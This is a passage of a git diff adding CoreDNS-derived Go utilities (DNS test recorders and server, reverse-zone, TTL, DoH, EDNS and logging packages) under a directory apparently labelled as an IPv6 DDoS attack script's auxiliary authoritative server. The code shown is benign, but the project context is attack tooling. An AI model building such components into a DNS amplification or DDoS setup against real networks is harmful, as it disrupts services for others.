nets = append(nets, next)
|
||||
if exceeds {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return nets
|
||||
}
|
||||
|
||||
// Reverse return the reverse zones that are authoritative for each net in ns.
|
||||
func Reverse(nets []string) []string {
|
||||
rev := make([]string, len(nets))
|
||||
for i := range nets {
|
||||
ip, n, _ := net.ParseCIDR(nets[i])
|
||||
r, err1 := dns.ReverseAddr(ip.String())
|
||||
if err1 != nil {
|
||||
continue
|
||||
}
|
||||
ones, bits := n.Mask.Size()
|
||||
// get the size, in bits, of each portion of hostname defined in the reverse address. (8 for IPv4, 4 for IPv6)
|
||||
sizeDigit := 8
|
||||
if len(n.IP) == net.IPv6len {
|
||||
sizeDigit = 4
|
||||
}
|
||||
// Get the first lower octet boundary to see what encompassing zone we should be authoritative for.
|
||||
mod := (bits - ones) % sizeDigit
|
||||
nearest := (bits - ones) + mod
|
||||
offset := 0
|
||||
var end bool
|
||||
for i := 0; i < nearest/sizeDigit; i++ {
|
||||
offset, end = dns.NextLabel(r, offset)
|
||||
if end {
|
||||
break
|
||||
}
|
||||
}
|
||||
rev[i] = r[offset:]
|
||||
}
|
||||
return rev
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package dnstest
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MultiRecorder is a type of ResponseWriter that captures all messages written to it.
|
||||
type MultiRecorder struct {
|
||||
Len int
|
||||
Msgs []*dns.Msg
|
||||
Start time.Time
|
||||
dns.ResponseWriter
|
||||
}
|
||||
|
||||
// NewMultiRecorder makes and returns a new MultiRecorder.
|
||||
func NewMultiRecorder(w dns.ResponseWriter) *MultiRecorder {
|
||||
return &MultiRecorder{
|
||||
ResponseWriter: w,
|
||||
Msgs: make([]*dns.Msg, 0),
|
||||
Start: time.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
// WriteMsg records the message and its length written to it and call the
|
||||
// underlying ResponseWriter's WriteMsg method.
|
||||
func (r *MultiRecorder) WriteMsg(res *dns.Msg) error {
|
||||
r.Len += res.Len()
|
||||
r.Msgs = append(r.Msgs, res)
|
||||
return r.ResponseWriter.WriteMsg(res)
|
||||
}
|
||||
|
||||
// Write is a wrapper that records the length of the messages that get written to it.
|
||||
func (r *MultiRecorder) Write(buf []byte) (int, error) {
|
||||
n, err := r.ResponseWriter.Write(buf)
|
||||
if err == nil {
|
||||
r.Len += n
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package dnstest
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Recorder is a type of ResponseWriter that captures
|
||||
// the rcode code written to it and also the size of the message
|
||||
// written in the response. A rcode code does not have
|
||||
// to be written, however, in which case 0 must be assumed.
|
||||
// It is best to have the constructor initialize this type
|
||||
// with that default status code.
|
||||
type Recorder struct {
|
||||
dns.ResponseWriter
|
||||
Rcode int
|
||||
Len int
|
||||
Msg *dns.Msg
|
||||
Start time.Time
|
||||
}
|
||||
|
||||
// NewRecorder makes and returns a new Recorder,
|
||||
// which captures the DNS rcode from the ResponseWriter
|
||||
// and also the length of the response message written through it.
|
||||
func NewRecorder(w dns.ResponseWriter) *Recorder {
|
||||
return &Recorder{
|
||||
ResponseWriter: w,
|
||||
Rcode: 0,
|
||||
Msg: nil,
|
||||
Start: time.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
// WriteMsg records the status code and calls the
|
||||
// underlying ResponseWriter's WriteMsg method.
|
||||
func (r *Recorder) WriteMsg(res *dns.Msg) error {
|
||||
r.Rcode = res.Rcode
|
||||
// We may get called multiple times (axfr for instance).
|
||||
// Save the last message, but add the sizes.
|
||||
r.Len += res.Len()
|
||||
r.Msg = res
|
||||
return r.ResponseWriter.WriteMsg(res)
|
||||
}
|
||||
|
||||
// Write is a wrapper that records the length of the message that gets written.
|
||||
func (r *Recorder) Write(buf []byte) (int, error) {
|
||||
n, err := r.ResponseWriter.Write(buf)
|
||||
if err == nil {
|
||||
r.Len += n
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
// Package dnstest allows for easy testing of DNS client against a test server.
|
||||
package dnstest
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
)
|
||||
|
||||
// A Server is an DNS server listening on a system-chosen port on the local
|
||||
// loopback interface, for use in end-to-end DNS tests.
|
||||
type Server struct {
|
||||
Addr string // Address where the server listening.
|
||||
|
||||
s1 *dns.Server // udp
|
||||
s2 *dns.Server // tcp
|
||||
}
|
||||
|
||||
// NewServer starts and returns a new Server. The caller should call Close when
|
||||
// finished, to shut it down.
|
||||
func NewServer(f dns.HandlerFunc) *Server {
|
||||
dns.HandleFunc(".", f)
|
||||
|
||||
ch1 := make(chan bool)
|
||||
ch2 := make(chan bool)
|
||||
|
||||
s1 := &dns.Server{} // udp
|
||||
s2 := &dns.Server{} // tcp
|
||||
|
||||
for i := 0; i < 5; i++ { // 5 attempts
|
||||
s2.Listener, _ = reuseport.Listen("tcp", ":0")
|
||||
if s2.Listener == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
s1.PacketConn, _ = net.ListenPacket("udp", s2.Listener.Addr().String())
|
||||
if s1.PacketConn != nil {
|
||||
break
|
||||
}
|
||||
|
||||
// perhaps UPD port is in use, try again
|
||||
s2.Listener.Close()
|
||||
s2.Listener = nil
|
||||
}
|
||||
if s2.Listener == nil {
|
||||
panic("dnstest.NewServer(): failed to create new server")
|
||||
}
|
||||
|
||||
s1.NotifyStartedFunc = func() { close(ch1) }
|
||||
s2.NotifyStartedFunc = func() { close(ch2) }
|
||||
go s1.ActivateAndServe()
|
||||
go s2.ActivateAndServe()
|
||||
|
||||
<-ch1
|
||||
<-ch2
|
||||
|
||||
return &Server{s1: s1, s2: s2, Addr: s2.Listener.Addr().String()}
|
||||
}
|
||||
|
||||
// Close shuts down the server.
|
||||
func (s *Server) Close() {
|
||||
s.s1.Shutdown()
|
||||
s.s2.Shutdown()
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package dnsutil
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ExtractAddressFromReverse turns a standard PTR reverse record name
|
||||
// into an IP address. This works for ipv4 or ipv6.
|
||||
//
|
||||
// 54.119.58.176.in-addr.arpa. becomes 176.58.119.54. If the conversion
|
||||
// fails the empty string is returned.
|
||||
func ExtractAddressFromReverse(reverseName string) string {
|
||||
search := ""
|
||||
|
||||
f := reverse
|
||||
|
||||
switch {
|
||||
case strings.HasSuffix(reverseName, IP4arpa):
|
||||
search = strings.TrimSuffix(reverseName, IP4arpa)
|
||||
case strings.HasSuffix(reverseName, IP6arpa):
|
||||
search = strings.TrimSuffix(reverseName, IP6arpa)
|
||||
f = reverse6
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
// Reverse the segments and then combine them.
|
||||
return f(strings.Split(search, "."))
|
||||
}
|
||||
|
||||
// IsReverse returns 0 is name is not in a reverse zone. Anything > 0 indicates
|
||||
// name is in a reverse zone. The returned integer will be 1 for in-addr.arpa. (IPv4)
|
||||
// and 2 for ip6.arpa. (IPv6).
|
||||
func IsReverse(name string) int {
|
||||
if strings.HasSuffix(name, IP4arpa) {
|
||||
return 1
|
||||
}
|
||||
if strings.HasSuffix(name, IP6arpa) {
|
||||
return 2
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func reverse(slice []string) string {
|
||||
for i := 0; i < len(slice)/2; i++ {
|
||||
j := len(slice) - i - 1
|
||||
slice[i], slice[j] = slice[j], slice[i]
|
||||
}
|
||||
ip := net.ParseIP(strings.Join(slice, ".")).To4()
|
||||
if ip == nil {
|
||||
return ""
|
||||
}
|
||||
return ip.String()
|
||||
}
|
||||
|
||||
// reverse6 reverse the segments and combine them according to RFC3596:
|
||||
// b.a.9.8.7.6.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2
|
||||
// is reversed to 2001:db8::567:89ab
|
||||
func reverse6(slice []string) string {
|
||||
for i := 0; i < len(slice)/2; i++ {
|
||||
j := len(slice) - i - 1
|
||||
slice[i], slice[j] = slice[j], slice[i]
|
||||
}
|
||||
slice6 := []string{}
|
||||
for i := 0; i < len(slice)/4; i++ {
|
||||
slice6 = append(slice6, strings.Join(slice[i*4:i*4+4], ""))
|
||||
}
|
||||
ip := net.ParseIP(strings.Join(slice6, ":")).To16()
|
||||
if ip == nil {
|
||||
return ""
|
||||
}
|
||||
return ip.String()
|
||||
}
|
||||
|
||||
const (
|
||||
// IP4arpa is the reverse tree suffix for v4 IP addresses.
|
||||
IP4arpa = ".in-addr.arpa."
|
||||
// IP6arpa is the reverse tree suffix for v6 IP addresses.
|
||||
IP6arpa = ".ip6.arpa."
|
||||
)
|
||||
51
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/ttl.go
Normal file
51
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/ttl.go
Normal file
@@ -0,0 +1,51 @@
|
||||
package dnsutil
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin/pkg/response"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// MinimalTTL scans the message returns the lowest TTL found taking into the response.Type of the message.
|
||||
func MinimalTTL(m *dns.Msg, mt response.Type) time.Duration {
|
||||
if mt != response.NoError && mt != response.NameError && mt != response.NoData {
|
||||
return MinimalDefaultTTL
|
||||
}
|
||||
|
||||
// No records or OPT is the only record, return a short ttl as a fail safe.
|
||||
if len(m.Answer)+len(m.Ns) == 0 &&
|
||||
(len(m.Extra) == 0 || (len(m.Extra) == 1 && m.Extra[0].Header().Rrtype == dns.TypeOPT)) {
|
||||
return MinimalDefaultTTL
|
||||
}
|
||||
|
||||
minTTL := MaximumDefaulTTL
|
||||
for _, r := range m.Answer {
|
||||
if r.Header().Ttl < uint32(minTTL.Seconds()) {
|
||||
minTTL = time.Duration(r.Header().Ttl) * time.Second
|
||||
}
|
||||
}
|
||||
for _, r := range m.Ns {
|
||||
if r.Header().Ttl < uint32(minTTL.Seconds()) {
|
||||
minTTL = time.Duration(r.Header().Ttl) * time.Second
|
||||
}
|
||||
}
|
||||
|
||||
for _, r := range m.Extra {
|
||||
if r.Header().Rrtype == dns.TypeOPT {
|
||||
// OPT records use TTL field for extended rcode and flags
|
||||
continue
|
||||
}
|
||||
if r.Header().Ttl < uint32(minTTL.Seconds()) {
|
||||
minTTL = time.Duration(r.Header().Ttl) * time.Second
|
||||
}
|
||||
}
|
||||
return minTTL
|
||||
}
|
||||
|
||||
const (
|
||||
// MinimalDefaultTTL is the absolute lowest TTL we use in CoreDNS.
|
||||
MinimalDefaultTTL = 5 * time.Second
|
||||
// MaximumDefaulTTL is the maximum TTL was use on RRsets in CoreDNS.
|
||||
MaximumDefaulTTL = 1 * time.Hour
|
||||
)
|
||||
133
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/doh/doh.go
Normal file
133
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/doh/doh.go
Normal file
@@ -0,0 +1,133 @@
|
||||
package doh
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// MimeType is the DoH mimetype that should be used.
|
||||
const MimeType = "application/dns-message"
|
||||
|
||||
// Path is the URL path that should be used.
|
||||
const Path = "/dns-query"
|
||||
|
||||
// NewRequest returns a new DoH request given a HTTP method, URL and dns.Msg.
|
||||
//
|
||||
// The URL should not have a path, so please exclude /dns-query. The URL will
|
||||
// be prefixed with https:// by default, unless it's already prefixed with
|
||||
// either http:// or https://.
|
||||
func NewRequest(method, url string, m *dns.Msg) (*http.Request, error) {
|
||||
buf, err := m.Pack()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
||||
url = fmt.Sprintf("https://%s", url)
|
||||
}
|
||||
|
||||
switch method {
|
||||
case http.MethodGet:
|
||||
b64 := base64.RawURLEncoding.EncodeToString(buf)
|
||||
|
||||
req, err := http.NewRequest(
|
||||
http.MethodGet,
|
||||
fmt.Sprintf("%s%s?dns=%s", url, Path, b64),
|
||||
nil,
|
||||
)
|
||||
if err != nil {
|
||||
return req, err
|
||||
}
|
||||
|
||||
req.Header.Set("content-type", MimeType)
|
||||
req.Header.Set("accept", MimeType)
|
||||
return req, nil
|
||||
|
||||
case http.MethodPost:
|
||||
req, err := http.NewRequest(
|
||||
http.MethodPost,
|
||||
fmt.Sprintf("%s%s?bla=foo:443", url, Path),
|
||||
bytes.NewReader(buf),
|
||||
)
|
||||
if err != nil {
|
||||
return req, err
|
||||
}
|
||||
|
||||
req.Header.Set("content-type", MimeType)
|
||||
req.Header.Set("accept", MimeType)
|
||||
return req, nil
|
||||
|
||||
default:
|
||||
return nil, fmt.Errorf("method not allowed: %s", method)
|
||||
}
|
||||
}
|
||||
|
||||
// ResponseToMsg converts a http.Response to a dns message.
|
||||
func ResponseToMsg(resp *http.Response) (*dns.Msg, error) {
|
||||
defer resp.Body.Close()
|
||||
|
||||
return toMsg(resp.Body)
|
||||
}
|
||||
|
||||
// RequestToMsg converts a http.Request to a dns message.
|
||||
func RequestToMsg(req *http.Request) (*dns.Msg, error) {
|
||||
switch req.Method {
|
||||
case http.MethodGet:
|
||||
return requestToMsgGet(req)
|
||||
|
||||
case http.MethodPost:
|
||||
return requestToMsgPost(req)
|
||||
|
||||
default:
|
||||
return nil, fmt.Errorf("method not allowed: %s", req.Method)
|
||||
}
|
||||
}
|
||||
|
||||
// requestToMsgPost extracts the dns message from the request body.
|
||||
func requestToMsgPost(req *http.Request) (*dns.Msg, error) {
|
||||
defer req.Body.Close()
|
||||
return toMsg(req.Body)
|
||||
}
|
||||
|
||||
// requestToMsgGet extract the dns message from the GET request.
|
||||
func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
|
||||
values := req.URL.Query()
|
||||
b64, ok := values["dns"]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("no 'dns' query parameter found")
|
||||
}
|
||||
if len(b64) != 1 {
|
||||
return nil, fmt.Errorf("multiple 'dns' query values found")
|
||||
}
|
||||
return base64ToMsg(b64[0])
|
||||
}
|
||||
|
||||
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
|
||||
buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m := new(dns.Msg)
|
||||
err = m.Unpack(buf)
|
||||
return m, err
|
||||
}
|
||||
|
||||
func base64ToMsg(b64 string) (*dns.Msg, error) {
|
||||
buf, err := b64Enc.DecodeString(b64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
m := new(dns.Msg)
|
||||
err = m.Unpack(buf)
|
||||
|
||||
return m, err
|
||||
}
|
||||
|
||||
var b64Enc = base64.RawURLEncoding
|
||||
70
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/edns/edns.go
Normal file
70
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/edns/edns.go
Normal file
@@ -0,0 +1,70 @@
|
||||
// Package edns provides function useful for adding/inspecting OPT records to/in messages.
|
||||
package edns
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"github.com/miekg/dns"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var sup = &supported{m: make(map[uint16]struct{})}
|
||||
|
||||
type supported struct {
|
||||
m map[uint16]struct{}
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
// SetSupportedOption adds a new supported option the set of EDNS0 options that we support. Plugins typically call
|
||||
// this in their setup code to signal support for a new option.
|
||||
// By default we support:
|
||||
// dns.EDNS0NSID, dns.EDNS0EXPIRE, dns.EDNS0COOKIE, dns.EDNS0TCPKEEPALIVE, dns.EDNS0PADDING. These
|
||||
// values are not in this map and checked directly in the server.
|
||||
func SetSupportedOption(option uint16) {
|
||||
sup.Lock()
|
||||
sup.m[option] = struct{}{}
|
||||
sup.Unlock()
|
||||
}
|
||||
|
||||
// SupportedOption returns true if the option code is supported as an extra EDNS0 option.
|
||||
func SupportedOption(option uint16) bool {
|
||||
sup.RLock()
|
||||
_, ok := sup.m[option]
|
||||
sup.RUnlock()
|
||||
return ok
|
||||
}
|
||||
|
||||
// Version checks the EDNS version in the request. If error
|
||||
// is nil everything is OK and we can invoke the plugin. If non-nil, the
|
||||
// returned Msg is valid to be returned to the client (and should).
|
||||
func Version(req *dns.Msg) (*dns.Msg, error) {
|
||||
opt := req.IsEdns0()
|
||||
if opt == nil {
|
||||
return nil, nil
|
||||
}
|
||||
if opt.Version() == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
m := new(dns.Msg)
|
||||
m.SetReply(req)
|
||||
|
||||
o := new(dns.OPT)
|
||||
o.Hdr.Name = "."
|
||||
o.Hdr.Rrtype = dns.TypeOPT
|
||||
o.SetVersion(0)
|
||||
m.Rcode = dns.RcodeBadVers
|
||||
o.SetExtendedRcode(dns.RcodeBadVers)
|
||||
m.Extra = []dns.RR{o}
|
||||
|
||||
return m, errors.New("EDNS0 BADVERS")
|
||||
}
|
||||
|
||||
// Size returns a normalized size based on proto.
|
||||
func Size(proto string, size uint16) uint16 {
|
||||
if proto == "tcp" {
|
||||
return dns.MaxMsgSize
|
||||
}
|
||||
if size < dns.MinMsgSize {
|
||||
return dns.MinMsgSize
|
||||
}
|
||||
return size
|
||||
}
|
||||
39
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/http/http.go
Normal file
39
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/http/http.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package http
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
// ParseRequest 解析HTTP请求中的URL参数,目前仅支持GET方法
|
||||
func ParseRequest(req *http.Request) (map[string][]string, error) {
|
||||
switch req.Method {
|
||||
case http.MethodGet:
|
||||
return getRequest(req)
|
||||
case http.MethodPost:
|
||||
return postRequest(req)
|
||||
|
||||
default:
|
||||
return nil, fmt.Errorf("method not allowed: %s", req.Method)
|
||||
}
|
||||
}
|
||||
|
||||
func getRequest(req *http.Request) (map[string][]string, error) {
|
||||
r := make(map[string][]string)
|
||||
for k, v := range req.URL.Query() {
|
||||
r[k] = v
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
// 支持json方式处理
|
||||
func postRequest(req *http.Request) (map[string][]string, error) {
|
||||
r := make(map[string][]string)
|
||||
decoder := json.NewDecoder(req.Body)
|
||||
err := decoder.Decode(&r)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
139
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/listener.go
Normal file
139
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/listener.go
Normal file
@@ -0,0 +1,139 @@
|
||||
package log
|
||||
|
||||
import "sync"
|
||||
|
||||
// Listener listens for all log prints of plugin loggers aka loggers with plugin name.
|
||||
// When a plugin logger gets called, it should first call the same method in the Listener object.
|
||||
// A usage example is, the external plugin k8s_event will replicate log prints to Kubernetes events.
|
||||
type Listener interface {
|
||||
Name() string
|
||||
Debug(plugin string, v ...interface{})
|
||||
Debugf(plugin string, format string, v ...interface{})
|
||||
Info(plugin string, v ...interface{})
|
||||
Infof(plugin string, format string, v ...interface{})
|
||||
Warning(plugin string, v ...interface{})
|
||||
Warningf(plugin string, format string, v ...interface{})
|
||||
Error(plugin string, v ...interface{})
|
||||
Errorf(plugin string, format string, v ...interface{})
|
||||
Fatal(plugin string, v ...interface{})
|
||||
Fatalf(plugin string, format string, v ...interface{})
|
||||
}
|
||||
|
||||
type listeners struct {
|
||||
listeners []Listener
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
var ls *listeners
|
||||
|
||||
func init() {
|
||||
ls = &listeners{}
|
||||
ls.listeners = make([]Listener, 0)
|
||||
}
|
||||
|
||||
// RegisterListener register a listener object.
|
||||
func RegisterListener(new Listener) error {
|
||||
ls.Lock()
|
||||
defer ls.Unlock()
|
||||
for k, l := range ls.listeners {
|
||||
if l.Name() == new.Name() {
|
||||
ls.listeners[k] = new
|
||||
return nil
|
||||
}
|
||||
}
|
||||
ls.listeners = append(ls.listeners, new)
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeregisterListener deregister a listener object.
|
||||
func DeregisterListener(old Listener) error {
|
||||
ls.Lock()
|
||||
defer ls.Unlock()
|
||||
for k, l := range ls.listeners {
|
||||
if l.Name() == old.Name() {
|
||||
ls.listeners = append(ls.listeners[:k], ls.listeners[k+1:]...)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (ls *listeners) debug(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Debug(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) debugf(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Debugf(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) info(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Info(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) infof(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Infof(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) warning(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Warning(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) warningf(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Warningf(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) error(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Error(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) errorf(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Errorf(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) fatal(plugin string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Fatal(plugin, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
|
||||
func (ls *listeners) fatalf(plugin string, format string, v ...interface{}) {
|
||||
ls.RLock()
|
||||
for _, l := range ls.listeners {
|
||||
l.Fatalf(plugin, format, v...)
|
||||
}
|
||||
ls.RUnlock()
|
||||
}
|
||||
113
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/log.go
Normal file
113
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/log.go
Normal file
@@ -0,0 +1,113 @@
|
||||
// Package log implements a small wrapper around the std lib log package. It
|
||||
// implements log levels by prefixing the logs with [INFO], [DEBUG], [WARNING]
|
||||
// or [ERROR]. Debug logging is available and enabled if the *debug* plugin is
|
||||
// used.
|
||||
//
|
||||
// log.Info("this is some logging"), will log on the Info level.
|
||||
//
|
||||
// log.Debug("this is debug output"), will log in the Debug level, etc.
|
||||
package log
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
golog "log"
|
||||
"os"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// D controls whether we should output debug logs. If true, we do, once set
|
||||
// it can not be unset.
|
||||
var D = &d{}
|
||||
|
||||
type d struct {
|
||||
on bool
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
// Set enables debug logging.
|
||||
func (d *d) Set() {
|
||||
d.Lock()
|
||||
d.on = true
|
||||
d.Unlock()
|
||||
}
|
||||
|
||||
// Clear disables debug logging.
|
||||
func (d *d) Clear() {
|
||||
d.Lock()
|
||||
d.on = false
|
||||
d.Unlock()
|
||||
}
|
||||
|
||||
// Value returns if debug logging is enabled.
|
||||
func (d *d) Value() bool {
|
||||
d.RLock()
|
||||
b := d.on
|
||||
d.RUnlock()
|
||||
return b
|
||||
}
|
||||
|
||||
// logf calls log.Printf prefixed with level.
|
||||
func logf(level, format string, v ...interface{}) {
|
||||
golog.Print(level, fmt.Sprintf(format, v...))
|
||||
}
|
||||
|
||||
// log calls log.Print prefixed with level.
|
||||
func log(level string, v ...interface{}) {
|
||||
golog.Print(level, fmt.Sprint(v...))
|
||||
}
|
||||
|
||||
// Debug is equivalent to log.Print(), but prefixed with "[DEBUG] ". It only outputs something
|
||||
// if D is true.
|
||||
func Debug(v ...interface{}) {
|
||||
if !D.Value() {
|
||||
return
|
||||
}
|
||||
log(debug, v...)
|
||||
}
|
||||
|
||||
// Debugf is equivalent to log.Printf(), but prefixed with "[DEBUG] ". It only outputs something
|
||||
// if D is true.
|
||||
func Debugf(format string, v ...interface{}) {
|
||||
if !D.Value() {
|
||||
return
|
||||
}
|
||||
logf(debug, format, v...)
|
||||
}
|
||||
|
||||
// Info is equivalent to log.Print, but prefixed with "[INFO] ".
|
||||
func Info(v ...interface{}) { log(info, v...) }
|
||||
|
||||
// Infof is equivalent to log.Printf, but prefixed with "[INFO] ".
|
||||
func Infof(format string, v ...interface{}) { logf(info, format, v...) }
|
||||
|
||||
// Warning is equivalent to log.Print, but prefixed with "[WARNING] ".
|
||||
func Warning(v ...interface{}) { log(warning, v...) }
|
||||
|
||||
// Warningf is equivalent to log.Printf, but prefixed with "[WARNING] ".
|
||||
func Warningf(format string, v ...interface{}) { logf(warning, format, v...) }
|
||||
|
||||
// Error is equivalent to log.Print, but prefixed with "[ERROR] ".
|
||||
func Error(v ...interface{}) { log(err, v...) }
|
||||
|
||||
// Errorf is equivalent to log.Printf, but prefixed with "[ERROR] ".
|
||||
func Errorf(format string, v ...interface{}) { logf(err, format, v...) }
|
||||
|
||||
// Fatal is equivalent to log.Print, but prefixed with "[FATAL] ", and calling
|
||||
// os.Exit(1).
|
||||
func Fatal(v ...interface{}) { log(fatal, v...); os.Exit(1) }
|
||||
|
||||
// Fatalf is equivalent to log.Printf, but prefixed with "[FATAL] ", and calling
|
||||
// os.Exit(1)
|
||||
func Fatalf(format string, v ...interface{}) { logf(fatal, format, v...); os.Exit(1) }
|
||||
|
||||
// Discard sets the log output to /dev/null.
|
||||
func Discard() { golog.SetOutput(io.Discard) }
|
||||
|
||||
const (
|
||||
debug = "[DEBUG] "
|
||||
err = "[ERROR] "
|
||||
fatal = "[FATAL] "
|
||||
info = "[INFO] "
|
||||
warning = "[WARNING] "
|
||||
)
|
||||
91
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/plugin.go
Normal file
91
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/plugin.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package log
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
// P is a logger that includes the plugin doing the logging.
|
||||
type P struct {
|
||||
plugin string
|
||||
}
|
||||
|
||||
// NewWithPlugin returns a logger that includes "plugin/name: " in the log message.
|
||||
// I.e [INFO] plugin/<name>: message.
|
||||
func NewWithPlugin(name string) P { return P{"plugin/" + name + ": "} }
|
||||
|
||||
func (p P) logf(level, format string, v ...interface{}) {
|
||||
log(level, p.plugin, fmt.Sprintf(format, v...))
|
||||
}
|
||||
|
||||
func (p P) log(level string, v ...interface{}) {
|
||||
log(level+p.plugin, v...)
|
||||
}
|
||||
|
||||
// Debug logs as log.Debug.
|
||||
func (p P) Debug(v ...interface{}) {
|
||||
if !D.Value() {
|
||||
return
|
||||
}
|
||||
ls.debug(p.plugin, v...)
|
||||
p.log(debug, v...)
|
||||
}
|
||||
|
||||
// Debugf logs as log.Debugf.
|
||||
func (p P) Debugf(format string, v ...interface{}) {
|
||||
if !D.Value() {
|
||||
return
|
||||
}
|
||||
ls.debugf(p.plugin, format, v...)
|
||||
p.logf(debug, format, v...)
|
||||
}
|
||||
|
||||
// Info logs as log.Info.
|
||||
func (p P) Info(v ...interface{}) {
|
||||
ls.info(p.plugin, v...)
|
||||
p.log(info, v...)
|
||||
}
|
||||
|
||||
// Infof logs as log.Infof.
|
||||
func (p P) Infof(format string, v ...interface{}) {
|
||||
ls.infof(p.plugin, format, v...)
|
||||
p.logf(info, format, v...)
|
||||
}
|
||||
|
||||
// Warning logs as log.Warning.
|
||||
func (p P) Warning(v ...interface{}) {
|
||||
ls.warning(p.plugin, v...)
|
||||
p.log(warning, v...)
|
||||
}
|
||||
|
||||
// Warningf logs as log.Warningf.
|
||||
func (p P) Warningf(format string, v ...interface{}) {
|
||||
ls.warningf(p.plugin, format, v...)
|
||||
p.logf(warning, format, v...)
|
||||
}
|
||||
|
||||
// Error logs as log.Error.
|
||||
func (p P) Error(v ...interface{}) {
